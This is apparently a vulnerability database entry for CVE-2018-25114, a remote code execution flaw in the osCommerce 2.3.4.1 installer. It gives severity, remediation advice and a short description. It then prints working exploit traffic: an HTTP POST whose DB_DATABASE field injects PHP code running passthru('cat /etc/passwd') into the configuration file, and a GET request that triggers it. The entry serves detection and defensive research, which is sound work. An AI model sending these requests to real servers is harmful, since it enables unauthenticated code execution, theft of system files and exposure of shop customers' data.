| Title | osCommerce 2.3.4.1 - Remote Code Execution |
|---|---|
| Author | Suman_Kar |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary PHP code by exploiting the insecure installer workflow, leading to complete e-commerce platform compromise and access to customer data. |
| Remediation | Remove the /install/ directory after installation and upgrade to a patched version of osCommerce. |
| EPSS Score | 0.75339 |
| CVE ID | CVE-2018-25114 |
| CWE ID | CWE-94 |
| Tags | cve cve2018 rce oscommerce edb vuln vkev |
osCommerce Online Merchant 2.3.4.1 contains a remote code execution caused by insecure default configuration and missing authentication in the installer workflow, letting unauthenticated attackers execute arbitrary PHP code via install_4.php, exploit requires accessible /install/ directory after installation.
POST /install/install.php?step=4 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Content-Length: 95
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
DIR_FS_DOCUMENT_ROOT=.%2F&DB_DATABASE=%27%29%3Bpassthru%28%27cat+%2Fetc%2Fpasswd%27%29%3B%2F%2A
GET /install/includes/configure.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/618.3.5 (KHTML, like Gecko) Version/17.4 Safari/618.3.5
Connection: close
Accept: */*
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-25114.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-25114.pcap
N/AN/A